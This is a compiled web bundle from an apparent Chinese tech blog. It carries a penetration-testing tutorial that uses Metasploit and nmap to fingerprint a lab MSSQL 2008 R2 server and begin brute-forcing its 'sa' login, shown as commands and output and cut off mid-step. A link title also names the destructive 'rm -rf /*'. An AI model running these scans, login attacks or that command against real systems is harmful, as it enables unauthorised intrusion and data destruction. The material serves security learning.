noreferrer"}},[e._v("元旦在家撸了两天Seata源码,你们是咋度过的呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490414&idx=1&sn=1bf8eec5825d0a1299e32e643d8e0eda&chksm=cf55ac6ff8222579bace9de611cb34e258664fecb27420d41def225d990a61fc6f464cd73cfb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("完了,这货迟早要超过我!我该怎么办?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490481&idx=1&sn=d0e39c092165536f165ee5ceced37e2a&chksm=cf55acb0f82225a6d35f227e3b26d409a4b30683fb6531b3cad5e4c50c133ec3f79e8f0a1a9b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河去腾讯了?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490629&idx=1&sn=8fbbefd2da5f15e0e0827d2d50292385&chksm=cf55ab44f8222252c89aa414e75a818e370c0642eb3bd2eec03b6eefefc8b4dabedf9d156724&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("满满的干货,我不信你能看完!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490753&idx=1&sn=0bbe4a255b687f88a5579635274e920a&chksm=cf55abc0f82222d6e56e724be444d354a6e6a4096b3c02bcf955d3d07e7595ad942db396496b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("团年啦"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490774&idx=1&sn=29f0db1cd78da44aa9e3b5c31a7d0b0a&chksm=cf55abd7f82222c1fa4a8637d1d789ddcafcac61ce789d249904cadac2d025c4b9ffdaa50829&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("假期无聊冰河开发了一款国民级游戏!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490777&idx=1&sn=28665e6a5c1624e4d951f047b4839259&chksm=cf55abd8f82222ce7cb2ea80817d97c6312df955fa01fe5b9fe2e3d316a0f19603235b09118d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("过完年,该减肥了(说的不是我)!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489400&idx=1&sn=4c86fb3474544a16c7853a0ad076fdc8&chksm=cf55a079f822296f938ce17fc191456e162dbb8e051b5b35f8b32326f73b42e66f885265ba29&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("程序员究竟要不要读源码?!P8级别架构师带你一起辩证分析!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489223&idx=1&sn=1c7b1bce3ef9297f88bd77ba709cd59a&chksm=cf55a1c6f82228d041b09b2c6f778f93f6b32f05abf8984519d59e88acb7304f11e7addd89c4&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("很多小伙伴说想看我的真容,这次满足你的好奇心!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489213&idx=1&sn=48f7634975463aa8e966afc0a259f589&chksm=cf55a1bcf82228aa45809a62b7d84dc8078c198082f18470fe4ed76c77f91330d61225db0841&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("跟小伙伴们聊聊我有趣的大学生活和我那两个好基友!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489203&idx=1&sn=ba66069fb78dd1ffe8fe03a3d1a73d21&chksm=cf55a1b2f82228a4983c48868a504351d5c8b2b5772dfe53d2dec9333a2b184a2d89ca4a730c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("下班咯~老地方见!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489171&idx=1&sn=9ca9e36e3fbdd407c9b1748511189244&chksm=cf55a192f822288410140921805b5cce0f059ec6e00c7942bfdfbb9f465f47a2860b5d38b8d3&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("大家国庆中秋准备怎么过呀?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489095&idx=1&sn=7c36585b322424d3da826f815181d04c&chksm=cf55a146f8222850ab8b7503937331d2edd81f9e119228aa68eb5f374ba4a8b49c4ca092cf03&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("接下来,冰河要有大动作了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489093&idx=1&sn=324f2847939fc2a45eab802113fc0b9c&chksm=cf55a144f82228522acebae4887df472b413fc2d1c558175d041d8295d68202a7885079eaf9f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("致读者:关于冰河技术微信公众号的重大调整!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489478&idx=1&sn=b06a4ac9282679fe601170a85a739fdc&chksm=cf55a0c7f82229d11b3b0b196793647422a774296bff91891604f4ed37219d6b7a0dcdbffa94&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河技术微信公众号终于可以留言了(文末领福利)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489631&idx=1&sn=755cff80d63168634464666cffc74219&chksm=cf55af5ef8222648b65e1b9963d799b4fcf8563cc0c962bcaa06c34cfb2016a9167ef1d15b82&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("毕业三年,如何达到月薪30K?我想跟你聊聊!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489644&idx=1&sn=f77943df3a6f2cc33974f83d7f536627&chksm=cf55af6df822267bbe9ed604c59db4cd71b004c489bc58d7441b3066455450ce5b066113186a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河是谁?到底是干啥的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489703&idx=1&sn=5fb966a0269ff9728e827ea4ecb0fb67&chksm=cf55afa6f82226b064a19b7bcbb39b6e9b0d7dc4fbc6b0fdc344206ac25eeb80d14382986a7e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("总结2020:5个月出版两本书,日更公众号是一种怎样的体验?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"视频系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#视频系列"}},[e._v("#")]),e._v(" 视频系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494076&idx=1&sn=2502fc281ef2b42e7aca42ddfd72136b&chksm=cf565ebdf821d7abaa5079600af6f60d1223eec4d9375b634bdee59574381ac97591ef5d7fbc&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("2分钟完美安装Docker,学不会你捶我!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494009&idx=1&sn=e401cf9a39ce8106df0a6d6cef701f6f&chksm=cf565e78f821d76ee8f32204cb7681d90410ab2c8962e5f0299b23d222d0a45e80f11ab14b48&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河开始“拍片儿”了?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493675&idx=1&sn=de33bb8ab2029a992f398af154760264&chksm=cf565f2af821d63ce322648dcf74baeb8b9c8f9bad20cbbe78ef6c153abcb86e12b78544fcd4&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("看病排队大半天,诊断2分钟!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491959&idx=1&sn=37f033cc90378390d140f12de03c1ad8&chksm=cf565676f821df6033b4bd1632f93ee1ed7564a2ff473dacd0b76f1e594bed5e0bd2b963ec92&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("2分钟完美手动安装Docker环境!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490755&idx=1&sn=a57491f87164366ada53577f4218078f&chksm=cf55abc2f82222d406c09d4f881d8f83ff9e78db364cf770f1633e69baa00e937be7830fce9c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("春节喜气洋洋,小区给大家发红包,我也沾沾喜气!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490768&idx=1&sn=932d696c84b4d30358a7c4a6696dcd30&chksm=cf55abd1f82222c7c2763207783d80b06da060dc6c8babb77838bdd02565bf88c8c057f64a86&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("AI正在深刻改变人们的生活!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489644&idx=1&sn=f77943df3a6f2cc33974f83d7f536627&chksm=cf55af6df822267bbe9ed604c59db4cd71b004c489bc58d7441b3066455450ce5b066113186a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河假期去哪啦?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490883&idx=1&sn=f90d57b6cb74e138b56106df10b597b9&chksm=cf55aa42f8222354e09e0fed24762d7e29f9965d5fa01412c6fa23924a54f65f061afedcfbac&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在服务器命令行输入 rm -rf /* 到底会发生什么?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"小工具"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#小工具"}},[e._v("#")]),e._v(" 小工具")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489466&idx=1&sn=4cd45f2f6c4599148ea148c6a69d2ff2&chksm=cf55a0bbf82229ade4688bd216f0f7229cf6ec236d67f2480d8178fe4ab2bed278b2fd2b3a84&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("IDEA设置System.out.println()和main方法快捷键"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489461&idx=1&sn=d54fac64e91a459bc0f286beb7c500cb&chksm=cf55a0b4f82229a229aad37fef5c4c942bdee9db141ea91045e908b7a55b9b27ee32d50f0770&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Java VisualVM添加Visual GC插件实现JVM性能调优"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489452&idx=1&sn=0325302bf29eab9b048eb3016f612d1d&chksm=cf55a0adf82229bb3e1e88f584f3e5224aea0303963c700d54f0936a01c5e00ac1b7b17d0b30&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("原来Java是这样实现微信小程序加密与解密数据算法的!超赞的有木有?!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"python专题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#python专题"}},[e._v("#")]),e._v(" Python专题")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489453&idx=1&sn=ebf0cc517519c5b088bbacabf1cdcfb2&chksm=cf55a0acf82229bada0f39ba67550b93622bfdd4cd9bab605fd8d14aab11f141a574e31fd890&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("智能化时代你还在手动刷新浏览器抢火车票?那你就真的Out了!假期快来了,冰河提前放大招,教你如何使用Python脚本自动抢火车票"),a("OutboundLink")],1)])]),e._v(" "),a("h2",{attrs:{id:"重磅福利"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#重磅福利"}},[e._v("#")]),e._v(" 重磅福利")]),e._v(" "),a("p",[e._v("微信搜一搜【冰河技术】微信公众号,关注这个有深度的程序员,每天阅读超硬核技术干货,公众号内回复【PDF】有我准备的一线大厂面试资料和我原创的超硬核PDF技术文档,以及我为大家精心准备的多套简历模板(不断更新中),希望大家都能找到心仪的工作,学习是一条时而郁郁寡欢,时而开怀大笑的路,加油。如果你通过努力成功进入到了心仪的公司,一定不要懈怠放松,职场成长和新技术学习一样,不进则退。如果有幸我们江湖再见!")]),e._v(" "),a("p",[e._v("另外,我开源的各个PDF,后续我都会持续更新和维护,感谢大家长期以来对冰河的支持!!")]),e._v(" "),a("p",[e._v("回复【并发编程】获取全网累计下载60W+的《深入理解高并发编程》电子书。"),a("br"),e._v("\n回复【渗透笔记】获取全网5星好评的《冰河的渗透实战笔记》电子书。")])])}),[],!1,null,null,null);a.default=d.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-250.js b/assets/js/cg-250.js index 6e3dc7b52798436b586d2a22793b8d3446967734..8f2cfbb911a7ac37a5ab37195b547b6dd7715dc6 100644 --- a/assets/js/cg-250.js +++ b/assets/js/cg-250.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[250],{663:function(s,n,a){"use strict";a.r(n);var e=a(7),r=Object(e.a)({},(function(){var s=this,n=s._self._c;return n("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[n("h1",{attrs:{id:"metasploit渗透mssql"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#metasploit渗透mssql"}},[s._v("#")]),s._v(" Metasploit渗透MSSQL")]),s._v(" "),n("p",[s._v("攻击机 kali 192.168.109.137")]),s._v(" "),n("p",[s._v("靶机 Win7_x64 192.168.109.139")]),s._v(" "),n("p",[s._v("数据库 MSSQL 2008 R2")]),s._v(" "),n("p",[s._v("MSSQL运行在TCP的1433端口以及UDP的1434端口")]),s._v(" "),n("h2",{attrs:{id:"使用nmap对mssql进行踩点"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#使用nmap对mssql进行踩点"}},[s._v("#")]),s._v(" 使用NMAP对MSSQL进行踩点")]),s._v(" "),n("p",[s._v("这里,我们使用Metasploit自带的db_nmap插件")]),s._v(" "),n("p",[n("strong",[s._v("首先我们对目标的1433端口进行扫描")])]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("db_nmap -sV -p 1433 192.168.109.139\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf > db_nmap -sV -p 1433 192.168.109.139\n[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-18 09:56 CST\n[*] Nmap: Nmap scan report for 192.168.109.139\n[*] Nmap: Host is up (0.00035s latency).\n[*] Nmap: PORT STATE SERVICE VERSION\n[*] Nmap: 1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2\n[*] Nmap: MAC Address: 00:0C:29:4A:EB:E0 (VMware)\n[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br")])]),n("p",[s._v("可以看到输出了MSSQL的一些信息。")]),s._v(" "),n("p",[n("strong",[s._v("扫描1434端口")])]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("db_nmap -sU -sV -p 1434 192.168.109.139\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf > db_nmap -sU -sV -p 1434 192.168.109.139\n[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-18 09:57 CST\n[*] Nmap: Nmap scan report for 192.168.109.139\n[*] Nmap: Host is up (0.00032s latency).\n[*] Nmap: PORT STATE SERVICE VERSION\n[*] Nmap: 1434/udp open ms-sql-m Microsoft SQL Server 10.50.4000.0 (ServerName: LIUYAZHUANG-PC; TCPPort: 1433)\n[*] Nmap: MAC Address: 00:0C:29:4A:EB:E0 (VMware)\n[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.72 seconds\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br")])]),n("p",[n("strong",[s._v("使用内置的NMap脚本获得一些关于目标数据库的附加信息")])]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("db_nmap -sU --script=ms-sql-info -p 1434 192.168.109.139\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf > db_nmap -sU --script=ms-sql-info -p 1434 192.168.109.139\n[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-18 09:59 CST\n[*] Nmap: Nmap scan report for 192.168.109.139\n[*] Nmap: Host is up (0.00044s latency).\n[*] Nmap: PORT STATE SERVICE\n[*] Nmap: 1434/udp open|filtered ms-sql-m\n[*] Nmap: MAC Address: 00:0C:29:4A:EB:E0 (VMware)\n[*] Nmap: Host script results:\n[*] Nmap: | ms-sql-info:\n[*] Nmap: | Windows server name: LIUYAZHUANG-PC\n[*] Nmap: | 192.168.109.139\\MSSQLSERVER:\n[*] Nmap: | Instance name: MSSQLSERVER\n[*] Nmap: | Version:\n[*] Nmap: | name: Microsoft SQL Server 2008 R2 SP2\n[*] Nmap: | number: 10.50.4000.00\n[*] Nmap: | Product: Microsoft SQL Server 2008 R2\n[*] Nmap: | Service pack level: SP2\n[*] Nmap: | Post-SP patches applied: false\n[*] Nmap: | TCP port: 1433\n[*] Nmap: | Named pipe: \\\\192.168.109.139\\pipe\\sql\\query\n[*] Nmap: |_ Clustered: false\n[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br")])]),n("h2",{attrs:{id:"使用metasploit的模块进行扫描"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#使用metasploit的模块进行扫描"}},[s._v("#")]),s._v(" 使用Metasploit的模块进行扫描")]),s._v(" "),n("p",[s._v("这里,我们用到可Metasploit的mssql_ping")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/scanner/mssql/mssql_ping\nshow options\nset RHOSTS 192.168.109.139\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf > use auxiliary/scanner/mssql/mssql_ping\nmsf auxiliary(scanner/mssql/mssql_ping) > show options\n\nModule options (auxiliary/scanner/mssql/mssql_ping):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n PASSWORD no The password for the specified username\n RHOSTS yes The target address range or CIDR identifier\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n THREADS 1 yes The number of concurrent threads\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.109.139\nRHOSTS => 192.168.109.139\nmsf auxiliary(scanner/mssql/mssql_ping) > \nmsf auxiliary(scanner/mssql/mssql_ping) > \nmsf auxiliary(scanner/mssql/mssql_ping) > run\n\n[*] 192.168.109.139: - SQL Server information for 192.168.109.139:\n[+] 192.168.109.139: - ServerName = LIUYAZHUANG-PC\n[+] 192.168.109.139: - InstanceName = MSSQLSERVER\n[+] 192.168.109.139: - IsClustered = No\n[+] 192.168.109.139: - Version = 10.50.4000.0\n[+] 192.168.109.139: - tcp = 1433\n[+] 192.168.109.139: - np = \\\\LIUYAZHUANG-PC\\pipe\\sql\\query\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\nmsf auxiliary(scanner/mssql/mssql_ping) >\n')])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br")])]),n("h2",{attrs:{id:"爆破mssql密码"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#爆破mssql密码"}},[s._v("#")]),s._v(" 爆破MSSQL密码")]),s._v(" "),n("p",[s._v("这里,用到的是Metasploit的mssql_login模块。")]),s._v(" "),n("p",[s._v("MSSQL的默认用户名为sa,默认密码为空,所以我们先测试下用户名为sa,密码为空的情况:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/scanner/mssql/mssql_login\nshow options\nset RHOSTS 192.168.109.139\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf auxiliary(scanner/mssql/mssql_ping) > use auxiliary/scanner/mssql/mssql_login\nmsf auxiliary(scanner/mssql/mssql_login) > show options\n\nModule options (auxiliary/scanner/mssql/mssql_login):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n BLANK_PASSWORDS false no Try blank passwords for all users\n BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5\n DB_ALL_CREDS false no Try each user/password couple stored in the current database\n DB_ALL_PASS false no Add all passwords in the current database to the list\n DB_ALL_USERS false no Add all users in the current database to the list\n PASSWORD no A specific password to authenticate with\n PASS_FILE no File containing 